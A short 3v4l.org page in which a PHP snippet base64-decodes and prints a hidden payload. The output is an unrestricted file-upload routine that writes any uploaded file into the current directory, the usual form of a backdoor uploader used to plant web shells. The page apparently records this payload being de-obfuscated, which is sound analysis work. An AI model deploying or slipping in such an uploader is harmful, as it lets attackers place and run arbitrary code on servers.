3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php echo base64_decode('JHRhcmdldF9wYXRoPWdldGN3ZCgpLiIvIi5iYXNlbmFtZSgkX0ZJTEVTWyJmaWxlIl1bIm5hbWUiXSk7IGlmKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyJmaWxlIl1bInRtcF9uYW1lIl0sJHRhcmdldF9wYXRoKSl7ZWNobyAiT2siOyB9ZWxzZXtlY2hvICJGYWlsIjsgfQ');
Output for 4.3.0 - 5.6.28, hhvm-3.10.0 - 3.12.0, 7.0.0 - 7.1.0
$target_path=getcwd()."/".basename($_FILES["file"]["name"]); if(move_uploaded_file($_FILES["file"]["tmp_name"],$target_path)){echo "Ok"; }else{echo "Fail"; }